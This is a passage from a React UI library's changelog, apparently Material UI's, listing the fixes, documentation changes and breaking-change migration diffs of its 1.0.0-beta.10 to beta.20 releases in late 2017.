@oliviertassinari\n- [Input] Remove gray highlight on iOS (#9057) @oliviertassinari\n- [Grid] Add missing wrap-reverse classname (#9076) @dehli\n- [breakpoint] Fix xs value (#9078) @oliviertassinari\n- [TablePagination] Fix IE11 colSpan issue (#9086) @sakulstra\n- [Menu] Fix MenuList integration demo (#9088)\n- [Snackbar] Treat null properly and add a test for it (#9094) @leMaik\n- [Input] Fix inputProps.ref support (#9095) @oliviertassinari\n- [Slide] Refactor lifecycle logics (#9096) @alitaheri\n- [Stepper] First port of the component (#8291) @alexhayes @vladimirpekez\n- [InputLabel] Add missing FormControlClasses (#9110) @svachmic\n\n### Docs\n\n- [docs] Fix escape in the API section (#9015) @oliviertassinari\n- [examples] Fix flow example (bdf5b6600fd82d2c5b64896994457001dac72104) @oliviertassinari\n- [examples] Fix missing props for BaseComponent (#9077) @aislanmaia\n- [docs] Add a AppBar/Menu integration example (#9067) @Tevinthuku\n- [docs] Add composed withStyles & withTheme HOCs to the FAQ (#9079) @mbrookes\n- [docs] Add file upload examples with the icon buttons (#9087) @Tevinthuku\n- [docs] Fix word (#9091) @Hissvard\n- [docs] Fix AppSearch horizontal rhythm (#9107) @mbrookes\n- [docs] Fix misc typos, grammar and add minor clarifications (#9112) @mbrookes\n\n### Core\n\n- [typescript] Conform Typography definition with React CSSProperties (#9023) @dewey92\n- [Modal] 100% coverage for modalManager.js (#9022) @oliviertassinari\n- [core] Upgrade dependencies (#9010) @oliviertassinari\n- [core] Upgrade flow-react-proptypes (#9029) @oliviertassinari\n- [typescript] Specify props type for overriding components (#9035) @pelotom\n- [core] Document the overhead of importing a single component (#9099) @oliviertassinari\n- [typescript] Fix screenWidth type and added is WidthDown (#9114) @stunaz\n- [core] Upgrade jss (#9111) @oliviertassinari\n- [core] Upgrade some dependencies (#9121) @oliviertassinari\n\n## 1.0.0-beta.20\n\n_Nov 5, 2017_\n\nA big thanks to the 12 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- We have been addressing a lot of bug and documentation issues during the last month.\n  We should soon be able to start porting new components.\n- The test coverage increased by 0.5% thanks to @leMaik effort (#8910, #8911).\n  We are very close to 100%.\n- The internal `ClickAwayListener` component was made public (#8967).\n\n### Breaking change\n\n- [style] Improve the font-size situation (#8942) @oliviertassinari\n  The `Input` and `FormLabel` component do no longer inherit the font-size. You might have to override them explicitly.\n- [Popover] Add a max-height (#8943) @oliviertassinari\n\n```diff\n-Menu.classes.root\n+Menu.classes.paper\n```\n\n- [Dialog] Rename withResponsiveFullScreen (#8951) @oliviertassinari\n\n```diff\n-import { withResponsiveFullScreen } from 'material-ui/Dialog';\n+import { withMobileDialog } from 'material-ui/Dialog';\n```\n\n### Component Fixes / Enhancements\n\n- [MenuList] Increase test coverage and fix an exception in an edge case (#8911) @leMaik\n- [Input] Fix textarea width (#8921) @istarkov\n- [SwitchBase] Inherit `disabled` from FormControl (#8917) @nllarson\n- [Popover] Improve the warning message (#8948) @oliviertassinari\n- [Popover] Add max-width (#8992) @oliviertassinari\n- [InputAdornment] Correct TypeScript export (#8959) @minajevs\n- [utils] Make ClickAwayListener public (#8967) @oliviertassinari\n- [Slider] Add the logic back (#8972) @oliviertassinari\n- [Select] Remove IE11 arrow (#8976) @oliviertassinari\n- [Select] Menu Items centered in IE11 (#8982) @lukePeavey\n- [Select] Fix width on Safari (#8985) @oliviertassinari\n- [IconButton] Add buttonRef property (#8986) @oliviertassinari\n- [Grid] Document a limitation (#8987) @oliviertassinari\n- [Tooltip] New warning message (#8988) @oliviertassinari\n\n### Docs\n\n- [docs] Split support content of CONTRIBUTING.md into SUPPORT.md (#8918) @mbrookes\n- [docs] Add demo for buttons with label and icon (#8922) @wongjiahau\n- [docs] Fix broken link (#8934) @cantsdmr\n- [docs] Fork JssProvider to release the docs (#8929) @oliviertassinari\n- [docs] Add more information around the MenuList component (#8947) @oliviertassinari\n- [docs] Add --save parameter (#8961) @Phoqe\n- [docs] Add guideline for docs/demo contribution (#8953) @wongjiahau\n- [docs] Use onChange instead of onClick for switch-like examples (#8971) @pelotom\n- [docs] Fix flow example (#8968) @oliviertassinari\n- [docs] Use next tag for the npm version badge (#8989) @leMaik\n- [docs] Add a JssProvider and CSS injection order section (#8993) @oliviertassinari\n\n### Core\n\n- [core] Upgrade some dependencies (#8977) @oliviertassinari\n- [typescript] Add missing base props (#8931) @pelotom\n- [typescript] Add missing base props, continued (#8955) @pelotom\n- [typescript] Upgrade and resolve @types/react to 16.0.19 (#8956) @pelotom\n\n## 1.0.0-beta.19\n\n_Oct 30, 2017_\n\nA big thanks to the 17 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- We managed to do it! We have upgraded all the dependencies to react@16 🚀 (#8889).\n  We will keep react@15 support for some time in order to help the migration from v0.x to v1.x.\n- We have fixed an important bug of `withStyles()` with react-hot-loader.\n  Thanks a lot @rrousselGit for the support (#8897).\n- We have introduced 3 soft breaking changes (#8830, #8858, #8916).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [transition] Improve interoperability with react-transition-group (#8830) @oliviertassinari\n\n```diff\n         <Grow\n-          transitionDuration={{\n+          timeout={{\n             enter: enterDuration,\n             exit: leaveDuration,\n           }}\n         />\n```\n\n- [transition] Allow more accurate PropTypes (#8858) @apieceofbart\n\n```diff\n-    <Dialog transition={<Slide direction=\"left\" />} />;\n+    const Transition = props => <Slide direction=\"left\" {...props} />\n+    <Dialog transition={Transition} />;\n\n-    <Snackbar transition={<Slide direction=\"left\" />} />;\n+    const Transition = props => <Slide direction=\"left\" {...props} />\n+    <Snackbar transition={Transition} />;\n```\n\n- [RTL] Make Right-to-left optional (#8916) @oliviertassinari\n  `jss-rtl` needs to be installed and added to jss by the users. We do no longer do it by default.\n\n### Component Fixes / Enhancements\n\n- [Popover] Add a marginThreshold property (#8815) @eyn\n- [Tabs] Fix consecutive updates (#8831) @oliviertassinari\n- [TextField] Support adornment full width (#8835) @oliviertassinari\n- [TextField] Fix dirty state update (#8879) @oliviertassinari\n- [breakpoints] Increase step to 5, fix media query matching on Safari (#8846) @dangh\n- [Input] Fix disabled state (#8848) @oliviertassinari\n- [Input] Fix inputProps overwriting className (#8867) @johnnynia\n- [Input] Ignore underline pointer events (#8885) @johnnynia\n- [Input] Made the labels for adorned elements not shrink on end adornment (#8882) @kf6kjg\n- [Popover] Warn when the height of the Popover is too tall (#8839) @amilagm\n- [Tooltip] Fix resize issue (#8862) @oliviertassinari\n- [CircularProgress] Add \"inherit\" color option (#8871) @dapetcu21\n- [Select] Fix array mutability flow annotation (#8870) @dapetcu21\n- [Dialog] Fix IE11 overflow bug (#8877) @sakulstra\n- [Menu] Add a PopoverClasses property (#8884) @johnnynia\n- [CircularProgress] Add thickness property to .t.ds file (#8888) @jportela\n- [Slider] Shouldn't be visible when in=false (#8894) @oliviertassinari\n- [Collapse] Fix height computation (#8895) @oliviertassinari\n- [withStyles] Better handle react-hot-loader (#8897) @oliviertassinari\n\n### Docs\n\n- [docs] Fix wrong SSR path location (#8822) @lukePeavey\n- [docs] Fix some issues I have noticed (#8826) @oliviertassinari\n- [docs] Fix typos in input adornments example (#8836) @leMaik\n- [docs] Better onboarding experience (#8851) @oliviertassinari\n- [docs] Show disabled MenuItem (#8853) @ojathelonius\n- [docs] Fix Typos (#8860) @shtam\n- [docs] Update Popover component readme (#8865) @gregnb\n- [docs] Move the font link of CRA for codesandbox (f068f50187b2cc520d3af1276578d9ed951811b7) @oliviertassinari\n- [docs] Show how to change the color of the TextField (#8880) @oliviertassinari\n- [docs] Simpler IconMenu example (#8892) @oliviertassinari\n- [docs] Temporary fix for SSR issue with Portal (#8907) @oliviertassinari\n\n### Core\n\n- [flow] Add config lint (#8834) @rosskevin\n- [core] Upgrade the dependencies (#8852) @oliviertassinari\n- [core] Fix missing typings in /es folder (#8887) @NeoLegends\n- [core] Upgrade to react@16 (#8889) @oliviertassinari\n- [core] Upgrade size-limit (#8899) @oliviertassinari\n- [Table] Increase test coverage (#8910) @leMaik\n- [test] Increase test coverage (#8908) @oliviertassinari\n\n## 1.0.0-beta.18\n\n_Oct 24, 2017_\n\nA big thanks to the 14 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- New InputAdornment component (#8504).\n- New [Frequently asked questions](https://github.com/mui/material-ui/blob/4df547d56448cedf70977d6e2463b38eaf64d1c7/docs/src/pages/getting-started/frequently-asked-questions.md) documentation section\n- We have saved 1 kB gzip by removing our internal react-transition-group fork (#8785).\n- We have made one step further in order to upgrade all our development dependencies to react@16 (#8804).\n\n### Breaking change\n\n- [Popover] Fix incorrect className API and add mouseover demo (#8774) @oliviertassinari\n\nI have noticed one inconsistency with the `className` property.\nThe value should have been applied on the root of the component.\nWe enforce this behavior now.\n\n### Component Fixes / Enhancements\n\n- [createTypography] Add htmlFontSize option (#8699) @kristenmills\n- [Modal] Improve scroll handling (#8715) @oliviertassinari\n- [RadioGroup] Better keyboard focus logic (#8720) @oliviertassinari\n- [ButtonBase] Fix missing keyboard ripple (#8723) @sakulstra\n- [ButtonBase] Remove Firefox dotted outline #8721) @oliviertassinari\n- [Tooltip] Redefine title from base TypeScript (#8727) @DaIgeb\n- [TypeScript] Fix GridListTitle `rows` property (#8740) @fathyb\n- [InputAdornment] New Component (#8504) @eyn\n- [TableRow] Adjust CSS for components other than <tr> (#8750) @chaitan94\n- [Select] Add missing definition for displayEmpty (#8754) @cauld\n- [Select] Fix autoWidth regression (#8796) @oliviertassinari\n- [ListItem] Disable hover effect on touch devices (#8803) @8enmann\n- [styles] Add performance optimization option (#8757) @oliviertassinari\n- [theme] Support overriding the shadows key (#8795) @oliviertassinari\n\n### Docs\n\n- [docs] Correct some typos in name 'TypographyTheme' (#8707) @douglasmamilor\n- [docs] Better warning description (#8783) @agatac\n- [docs] Fix the docs support on windows (#8792) @SeasideLee\n- [docs] Correct a typo (occurence -> occurrence) (#8798) @chaitan94\n- [docs] Add more information on the migration path (#8709) @oliviertassinari\n- [docs] Responsive team page (#8714) @oliviertassinari\n- [docs] Better display for print (#8729) @oliviertassinari\n- [docs] Interoperability with react-jss (#8735) @oliviertassinari\n- [docs] Add CII Best Practices (#8736) @oliviertassinari\n- [docs] FAQ disable ripple (#8747) @oliviertassinari\n- [docs] Add FAQ inline-style vs withStyles() (#8758) @oliviertassinari\n- [docs] Add promising pickers lib (#8814) @oliviertassinari\n\n### Core\n\n- [core] Output ES code in /es (#8772) @NeoLegends\n- [core] Remove erroneous exports from styles/index.d.ts (#8805) @pelotom\n- [typescript] Standard Props (#8781) @pelotom\n- [core] Use react-transition-group (#8785) @oliviertassinari\n- [core] Keep fixing failing tests for react@16 (#8804) @oliviertassinari\n- [core] react-popper allows react 16 (#8800) @oliviertassinari\n- [core] Upgdate some dependencies (#8722) @oliviertassinari\n- [core] Upgrade some dependencies (#8737) @oliviertassinari\n- [core] Upgrade some dependencies (#8777) @oliviertassinari\n- [core] Upgrade some dependencies (#8816) @oliviertassinari\n\n## 1.0.0-beta.17\n\n_Oct 16, 2017_\n\nA big thanks to the 14 contributors who made this release possible.\n\nThis release is mostly about stability.\nWe have merged many bug fixes PRs and documentation improvement PRs.\nWe are garbage collecting all the features we have been adding lately.\nAs this garbage collection stabilize, we will be able to add new features, like a stepper, extension panel or date/time pickers. But we are not here yet.\nFor instance, we need to upgrade all our dev dependencies to _react@16_ first.\n\n### Breaking change\n\n- [Grid] Add alignItems & alignContent properties (#8647) @sakulstra\n\n```diff\n-        <Grid container xs={6} align=\"flex-end\">\n+        <Grid container xs={6} alignItems=\"flex-end\">\n           <Grid item>\n```\n\n### Component Fixes / Enhancements\n\n- [ButtonBase] Fix ripple on mobile (#8605) @oliviertassinari\n- [icons] Bump recompose version (#8615) @sakulstra\n- [icons] Change homepage (#8621) @oliviertassinari\n- [withWidth] Export the module in index.js (#8616) @sakulstra\n- [typescript] Fix typings for withTheme (#8627) @DaIgeb\n- [typescript] Change the TextField.label type to the InputLabel.children type (#8630) @DaIgeb\n- [typescript] Fix conflicting types for onChange prop (#8618) @pelotom\n- [typescript] Collapse: Redefine children from Transition (#8655) @DaIgeb\n- [typescript] Add \"baseline\" to GridItemsAlignment type (#8678) @brentatkins\n- [Badge] Fix vertical alignment inside IconButton (#8677) @AndreiBelokopytov\n- [ListItemAvatar] Fix dense font icon display (#8682) @lawlessnut\n- [TableCell] Better handle long text (#8685) @lunzhang\n- [typing] Chip definition was missing deleteIcon & more (#8696) @cauld\n- [Tabs] Add a TabScrollButton property (#8695) @lawlessnut\n- [CircularProgress] Fix non Chrome rendering (#8687) @oliviertassinari\n- [Badge] Add an example with a IconButton (#8683) @oliviertassinari\n- [Button] Better render multilines button (#8684) @oliviertassinari\n- [Input] Fix hover style on mobile (#8644) @oliviertassinari\n- [Slide] Fix resize issue (#8672) @oliviertassinari\n- [RadioGroup] Remove the injected styles (#8692) @oliviertassinari\n- [Tooltip] Improve TypeScript definition (#8698) @oliviertassinari\n- [MuiThemeProvider] Add more constraints for everybody sanity (#8701) @oliviertassinari\n\n### Docs\n\n- [docs] Fix typo in icons.md (#8612) @MazeChaZer\n- [docs] Add link for autosuggest-highlight installation (#8625) @senthuran16\n- [docs] Fix typo in item description (#8632) @bennyn\n- [docs] Add Venuemob to showcase (#8674) @DJAndries\n- [docs] TypeScript example project and guide to withStyles (#8694) @pelotom\n- [Input] Fix grammar in documentation (#8700) @ludwigbacklund\n- [docs] Fix markdown formatting (#8640) @oliviertassinari\n- [examples] Everything is back to normal with next.js (#8611) @oliviertassinari\n- [docs] Improve fullWidth wording (#8610) @oliviertassinari\n- [docs] Make code follow the header font (#8623) @oliviertassinari\n- [docs] Improve SVG icons wordings (#8642) @oliviertassinari\n- [docs] Fix test page (#8650) @oliviertassinari\n\n### Core\n\n- [core] Fix more warnings with enzyme@3 and react@16 (#8641) @oliviertassinari\n- [core] Prepare upgrade toward enzyme v3 (#8670) @oliviertassinari\n- [core] Safer CI on circle-ci with yarn (#8656) @oliviertassinari\n- [core] Upgrade deepmerge dependency (#8608) @oliviertassinari\n- [core] Fix CSP issue (6172bd0af0c7a0ad66626a9c3d9f5aaa34e1a6f7) @oliviertassinari\n- [core] Add global prettier config (#8624) @oliviertassinari\n\n## 1.0.0-beta.16\n\n_Oct 8, 2017_\n\nA big thanks to the 18 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Add Right-To-Left support (#8479) @alitaheri\n- Safe TypeScript checking of the `withStyles()` Higher-order Component (#8561) @pelotom and @sebald\n\n### Breaking change\n\n- [TablePagination] Allow using it anywhere (#8525) @leMaik\n\n```diff\n             <TableFooter>\n-              <TablePagination\n-                count={data.length}\n-                rowsPerPage={rowsPerPage}\n-                page={page}\n-                onChangePage={this.handleChangePage}\n-                onChangeRowsPerPage={this.handleChangeRowsPerPage}\n-              />\n+              <TableRow>\n+                <TablePagination\n+                  count={data.length}\n+                  rowsPerPage={rowsPerPage}\n+                  page={page}\n+                  onChangePage={this.handleChangePage}\n+                  onChangeRowsPerPage={this.handleChangeRowsPerPage}\n+                />\n+              </TableRow>\n             </TableFooter>\n```\n\n- [typescript] Fix withStyles typing for class components; remove usage as TypeScript decorator (#8561) @pelotom\n  We drop the TypeScript decorator support.\n\n### Component Fixes / Enhancements\n\n- [Collapse] Fix handleEntered method (#8499) @tcoughlin3\n- [ButtonBase] Fix borderRadius for Chrome 63 (#8507) @gokulchandra\n- [Collapse] Implement the ability to set the collapsed height through props (#8368) @jackyho112\n- [GridList] Add momentum scrolling (#8538) @JeromeFitz\n- [Tabs] Add momentum scrolling (#8536) @RichardLindhout\n- [SwitchBase] Simplify the implementation (#8540) @oliviertassinari\n- [Typography] Add Vertical Rhythm (#8560) @oliviertassinari\n- [Input] Fix Textarea regression handling (#8557) @oliviertassinari\n- [Snackbar] Fix position regression (#8573) @oliviertassinari\n- [IconButton] Take advantage of the CSS inheritance (#8575) @oliviertassinari\n- [Select] Add a displayEmpty property (#8587) @oliviertassinari\n- [Select] Update description for displayEmpty propepty (#8589) @gmlnchv\n- [style] Add RTL support (#8479) @alitaheri\n- [TableCell] Fix padding TypeScript definition (#8591) @dakisxx\n- [TableCell] Wrong label: 'compact' should be 'dense' (#8596) @dakisxx\n- [Table] Standardize class names (#8593) @oliviertassinari\n- [Hidden] Make the children property required (#8502) @oliviertassinari\n\n### Docs\n\n- [docs] Fix color palette demo (#8513) @JeromeFitz\n- [docs] Fix copy and paste error in migration guide (#8514) @uwap\n- [docs] Change the Edit this page link in the API (#8511) @oliviertassinari\n- [Example] Pin nextjs example to react 15 (#8521) @eyn\n- [docs] Change tooltip placement for table (baa37dee87c4211b598102d8f54500d4dde28a1e) @oliviertassinari\n- [docs] Add an app to the v1 showcase (#8548) @Xalio08\n- [docs] Add a tests section in the Comparison page (#8555) @oliviertassinari\n- [docs] Remove leftover code from Tooltip example (#8551) @the-noob\n- [Circular] Add interactive integration in the docs (#8586) @oliviertassinari\n- [Hidden] Add docs for initialWidth prop (#8585) @pcardune\n- [docs] Avoid SEO indexes duplication (#8592) @oliviertassinari\n\n### Core\n\n- [core] Upgrade to mocha@v4 (#8517) @oliviertassinari\n- [core] Upgrade dependencies (#8577) @oliviertassinari\n- [core] Upgrade ESLint (#8583) @oliviertassinari\n- [core] Prepare upgrade enzyme v3 (#8595) @oliviertassinari\n- [misc] Fix small issues reported by users (#8524) @oliviertassinari\n\n## 1.0.0-beta.15\n\n_Oct 4, 2017_\n\n## material-ui-icons\n\n### Component Fixes / Enhancements\n\n- [typscript] Adjust icon typings to change introduces in #8366 (#8529) @sebald\n\n## 1.0.0-beta.13\n\n_Oct 1, 2017_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### Breaking change\n\n- [Table] Introduce padding property (#8362) @eyn\n\n```diff\n-  <TableCell checkbox>\n+  <TableCell padding=\"checkbox\">\n```\n\n- [flow] Fix Higher-order Component typing (#8419) @rosskevin\n\n```diff\n-  withTheme,\n+  withTheme(),\n```\n\n- [Transition] Rich transitionDuration property (#8448) @oliviertassinari\n\n```diff\n      <Dialog\n-       enterTransitionDuration={100}\n-       leaveTransitionDuration={100}\n+       transitionDuration={100}\n      </Dialog>\n```\n\n```diff\n      <Dialog\n-       enterTransitionDuration={100}\n-       leaveTransitionDuration={200}\n+       transitionDuration={{\n+         enter: 100,\n+         exit: 200,\n+       }}\n      </Dialog>\n```\n\n### Component Fixes / Enhancements\n\n- [Tabs] Fix indicator update issue (#8388) @oliviertassinari\n- [Tabs] Support empty children (#8492) @oliviertassinari\n- [Select] Fix popover width and add autoWidth prop (#8307) @leMaik\n- [SelectInput] Fix event forwarding (#8386) @cherniavskii\n- [breakpoints] add back deleted `getWidth` as `width` with a spec (#8387) @rosskevin\n- [styles] More permissive class name generator warning (#8390) @oliviertassinari\n- [Table] Add missing components export (#8425) @klauszhang\n- [TablePagination] Fix negative pagination numbers (#8435) @leMaik\n- [Typography] Add primary option to color property (#8440) @eyn\n- [Typography] Add error option to color property (#8446) @samsch\n- [CardMedia] Add `component` property (#8376) @AndriusBil\n- [Input] Fix wrong CSS property (#8469) @oliviertassinari\n- [Input] Better placeholder display logic (#8485) @oliviertassinari\n- [icons] Better interoperability with v0.x (#8473) @oliviertassinari\n- [icons] Update peer dependency to react 16 (#8476) @eyn\n- [Slider] Fix IE11 issue (#8486) @patrickml\n- [Chip] Adds option to provide custom delete icon to Chip (#8482) @LinkedList\n- [Tooltip] Fix usage with table head (#8488) @oliviertassinari\n\n### Docs\n\n- [docs] Misspelling on Select demo page (#8384) @kgregory\n- [docs] Select API default value for input prop (#8385) @kgregory\n- [docs] Add FormDialog Example (#8411) @chaseWillden\n- [docs] Typo in next.config.js (#8418) @marcoturi\n- [docs] Fix redirections in Supported Components (#8389) @oliviertassinari\n- [docs] Improve selection controls section (#8405) @oliviertassinari\n- [docs] Fix Drawer and Popover api docs (#8442) @cherniavskii\n- [core] Update issue template with language about providing a reproduction case (#8466) @rosskevin\n- [flow] add examples/create-react-app-with-flow (#8449) @rosskevin\n- [docs] Add a Responsive Drawer example (#8494) @oliviertassinari\n- [docs] Move docs to https://material-ui-next.com (#8495) @oliviertassinari\n- [docs] Take insertionPoint option into account (#8497) @oliviertassinari\n\n### Core\n\n- [test] Prepare enzyme v3 upgrade (#8429) @oliviertassinari\n- [core] Update react-transition-group for react@16 (#8468) @oliviertassinari\n- [core] Update recompose to 0.25.1 (#8408) @oliviertassinari\n- [core] Update sinon to the latest version 🚀 (#8396) @greenkeeper\n- [core] Upgrade prettier (#8428) @oliviertassinari\n- [typescript] Document withStyles overloads (#8364) @pelotom\n- [typescript] Make StyledComponent only a type, not a class (#8366) @pelotom\n- [typescript] Update `BreakpointsOptions` in `createBreakpoints` (#8374) @peterprice\n- [typescript] Correct typings of TextField's onChange (#8378) @sebald\n- [typescript] Add missing toolbar property on Mixins interface (#8392) @MSNexploder\n- [typescript] Correct type definition for Theme creation (#8395) @TorstenStueber\n- [typescript] Improve `createShallow` typings (#8415) @sebald\n- [typescript] Re-add tests for `withStyle` use cases (#8399) @sebald\n- [typescript] Remove key prop from Snackbar (#8427) @TorstenStueber\n- [typescript] Fix common colors typings (#8433) @alitaheri\n- [typescript] Per-component class keys (#8375) @pelotom\n- [flow] Post-HOC change bug fixes (#8441) @rosskevin\n- [flow] 0.56.0 (#8450) @rosskevin\n- [flow] Collapse theme is not an external prop (#8470) @rosskevin\n- [flow] Fix HOC RequiredProps vs ProvidedProps (#8477) @oliviertassinari\n- [core] Update jsdom to v11.3.0 (#8491) @oliviertassinari\n\n## 1.0.0-beta.12\n\n_Sep 24, 2017_\n\nA big thanks to the 25 contributors who made this release possible.\n\nWait, what?! We have been merging 52 pull requests from 25 different people in just 6 days (and closed 60 issues).\nThis is a new record for the project.\nThe `v1-beta` version is definitely getting traction.\nThanks for the support!\n\nHere are some highlights ✨:\n\n- Introduction of the first codemods for the `v0.x -> v1.x` migration as well as a documentation page. @vividh (#8311, #8333, #8314)\n- The TypeScript definitions made an important step forward with more than 10 PRs merged. @pelotom @sebald @xaviergonz and more\n- Wondering how Material UI compares to the other solutions out there?\n  We have created a documentation page to stress the tradeoffs taken. (#8319)\n- `material-ui@next` has just [crossed **react-toolbox**](https://npm-stat.com/charts.html?package=react-scrollbar-size&package=react-toolbox&from=2017-01-24&to=2017-09-24) in terms of downloads on npm.\n\n### Breaking change\n\n- [styles] Refactorisation of the breakpoints (#8308) @oliviertassinari\n\n```diff\nconst muiTheme = createMuiTheme({\n  breakpoints: {\n-    breakpointsMap: {\n+    values: {\n      xs: 360,\n      sm: 768,\n      md: 992,\n      lg: 1200,\n      xl: 1440,\n    },\n  },\n});\n```\n\n```diff\n  paperWidthXs: {\n-    maxWidth: theme.breakpoints.getWidth('xs'),\n+    maxWidth: theme.breakpoints.values.xs,\n  },\n```\n\n- [typescript] Improve type definition for withStyles (#8320) @pelotom\n\n@pelotom did a great job improving the `withStyles` typings, such that less generics are required to be written! Most notably, you no longer have to pass a map of class names to `withStyles`:\n\n```diff\n- withStyles<{ root: string; }>(...)\n+ withStyles(...)\n```\n\nAlso, `props` can now be set when applying the HOC:\n\n```diff\n- const StyledComponent = withStyles<\n-   StyledComponentProps,\n-   StyledComponentClassNames\n- >(styles)(Component);\n+ const StyledComponent = withStyles(styles)<StyledComponentProps>(\n+   ({ classes, text }) => (\n+     <div className={classes.root}>\n+       {text}\n+     </div>\n+   )\n+ );\n```\n\nWhen `withStyles()` is used as a decorator and `strictNullChecks` is enabled, one has to use the `!` operator to access classes from within the class.\n\n### Component Fixes / Enhancements\n\n- [Tabs] Move updateIndicatorState after render lifecycle (#8260) @markselby9\n- [Tabs] Handle sever side rendering (#8358) @oliviertassinari\n- [Tooltip] Fix overlaps and prevents clicking on element belows (#8257) @quanglam2807\n- [Tooltip] Fix forced reflows #8293 (#8325) @mctep\n- [Chip] Remove highlight on Android and iOS (#8280)@oliviertassinari\n- [Snackbar] Add `resumeHideDuration` property (#8272) @AndriusBil\n- [ListSubheader] Use sticky list by default (#8194) @slavab89\n- [TextField] Add a select mode (#8274) @ctavan\n- [TextField] Add Formatted input section in the docs (#8347)\n- [MenuItem] Fix dense mode (#8330) @dapetcu21\n- [Table] Add a TableFooter for pagination (#8254) @leMaik\n- [Table] Update flow types for remaining table components (#8345) @eyn\n- [Table] Enhance PropType checks for TableCell (#8350) @eyn\n- [Input] Add underline padding at all times (#8348) @dapetcu21\n- [Drawer] Add border anchor right (#8361)\n- [Dialog] Add `fullWidth` property (#8329) @AndriusBil\n\n### Docs\n\n- [codemod] Update import paths for colors v1 (#8311) @vividh\n- [codemod] Update import paths for svg-icons v1 (#8333) @vividh\n- [docs] Add a comparison section (#8319) @oliviertassinari\n- [docs] Add small migration guide, to be continued (#8314) @oliviertassinari\n- [docs] Add some details about TextField vision (0c9936c40a359a3b7d81d44ca63061a0116b9d6d) @oliviertassinari\n- [docs] Right colors (#8268) @oliviertassinari\n- [docs] Minor grammatical fixes (#8283) @vpicone\n- [docs] Tooltips are supported (#8282) @skirunman\n- [docs] Autosuggest example typo fix (#8315) @the-noob\n- [docs] Changing type 'Alignement' to Alignment (#8335) @apearson\n- [changelog] Add info for withStyles BC (#8342) @sebald\n\n### Core\n\n- [flow] Remove class property props to reduce bundle size (#7884) @rosskevin\n- [flow] Update to flow 55 (#8305) @oliviertassinari\n- [types] Better component typing (#8304) @oliviertassinari\n- [styles] Add a new defensive warning (#8341) @oliviertassinari\n- [core] Upgrade the dependencies (#8284) @oliviertassinari\n- [core] Help webpack doing dead code elimination (#8340) @oliviertassinari\n- [core] Add TypeScript in the CI (#8328) @oliviertassinari\n- [typescript] Fix typo in Tooltip (#8271) @Rid\n- [typescript] Fix definitions for BreakpointsOptions (#8285) @peterprice\n- [typescript] Fix for Avatar.d.ts not having a style property definition (#8277) @xaviergonz\n- [typescript] Fix missing attribute in FormControl (#8297) @maresja1\n- [typescript] Fix Tooltip typings (#8292) @lagunoff\n- [typescript] Add className to StyledComponentProps (#8295) @pelotom\n- [typescript] Allow `Grid` to accept `HTMLAttributes` props (#8317) @michaelgruber\n- [typescript] Add style to StyledComponentProps (#8322) @pelotom\n- [typescript] Restore withStyles class decorator (#8354) @pelotom\n- [typescript] Enable strictNullChecks (#8356) @pelotom\n- [typescript] Allow overriding a subset of classes (#8355) @pelotom\n- [typescript] Allow overriding a subset of classes (#8355) @pelotom\n\n## 1.0.0-beta.11\n\n_Sep 18, 2017_\n\nA big thanks to the 12 contributors who made this release possible.\n\n### Breaking change\n\n- [Tooltip] Rename label to title property to match the native HTML feature wording (#8234) @oliviertassinari\n\n```diff\n-  <Tooltip label=\"Add\">\n+  <Tooltip title=\"Add\">\n```\n\n### Component Fixes / Enhancements\n\n- [AppBar] Height shall not shrink (#8192) @hongyuan1306\n- [Select] Allow invalid children (#8201) @sakulstra\n- [typescript] Correct TypeScript types of typography definitions (#8199) @TorstenStueber\n- [Drawer] Height should be set to 100% to allow scrolling (#8203) @Skaronator\n- [ButtonBase] Wrong layout with Safari (#8211) @oliviertassinari\n- [typescript] Fix `withResponsiveFullScreen`, `Input` + `Select` (#8214) @sebald\n- [typescript] Correct definition of StyledComponentProps (#8221) @TorstenStueber\n- [Tooltip] Add fontFamily to component (#8226) @nel-co\n- [Tooltip] Add accessibility support (#8234) @oliviertassinari\n- [Menu] Second iteration on focus issue (#8234) @oliviertassinari\n- [ListItem] Add some spacing for ListItemSecondaryAction (#8239) @oliviertassinari\n- [ButtonBase] Better support of the component property (#8218) @dobryanskyy\n- [TableRow] Adjust head row height according to the specs (#8249) @leMaik\n- [Tooltip] Fix core issues with the component (#8250) @oliviertassinari\n- [typescript] Fix prop name typo (#8261) @Portgass\n\n### Docs\n\n- [Tooltip] Add a warning when using the title native feature at the same time (#8234) @oliviertassinari\n- [Popover] Remove unsupported modal property from the Popover component that doesn't match his purpose. (#8234) @oliviertassinari\n- [Form] Extend the description of the component (#8234) @oliviertassinari\n- [docs] Some fixes (#8210) @oliviertassinari\n- [docs] Fix typo in markdown generation (#8222) @albinekb\n- [Toolbar] Fix documentation of children property (#8230) @eyn\n- [Drawer] Improve the Temporary demo (#8241) @oliviertassinari\n- [docs] Simplify the carbon integration (#8244) @oliviertassinari\n- [docs] Add google analytics (#8247) @oliviertassinari\n\n### Core\n\n- [Tooltip] Add a visual regression test (#8228) @oliviertassinari\n\n## 1.0.0-beta.10\n\n_Sep 14, 2017_\n\nThis is an early release as we have been breaking the TypeScript typings with 1.0.0-beta.9.\nHopefully, we are in a better state now.\nHere are some highlights:\n\n- Keeping pushing typing fixes @xaviergonz and @sebald\n- A new Tooltip component thanks to @quanglam2807 (#7909)\n- Our internal styling solution should be faster with (#8142).\n  With the last release we fix a memory leak (#8036), so thanks for reporting those issues!\n\nA big thanks to the 13 contributors who made this release possible.\n\n### Breaking changes\n\n- [MobileStepper] Add nextButton and backButton property (#8001) @wieseljonas\n\n```diff\n+import KeyboardArrowLeft from 'material-ui-icons/KeyboardArrowLeft';\n+import KeyboardArrowRight from 'material-ui-icons/KeyboardArrowRight';\n\n     <MobileStepper\n-        onBack={this.handleBack}\n-        onNext={this.handleNext}\n-        disableBack={this.state.activeStep === 0}\n-        disableNext={this.state.activeStep === 5}\n+        nextButton={\n+          <Button dense onClick={this.handleNext} disabled={this.state.activeStep === 5}>\n+            Next\n+            <KeyboardArrowRight />\n+          </Button>\n+        }\n+        backButton={\n+          <Button dense onClick={this.handleBack} disabled={this.state.activeStep === 0}>\n+            <KeyboardArrowLeft />\n+            Back\n+          </Button>\n+        }\n      />\n```\n\n### Component Fixes / Enhancements\n\n- [Tooltip] New component (#7909) @quanglam2807\n- [typescript] Fix ts tabindex to use number (#8125) @xaviergonz\n- [Drawer] Fix delegation of the className (#8126) 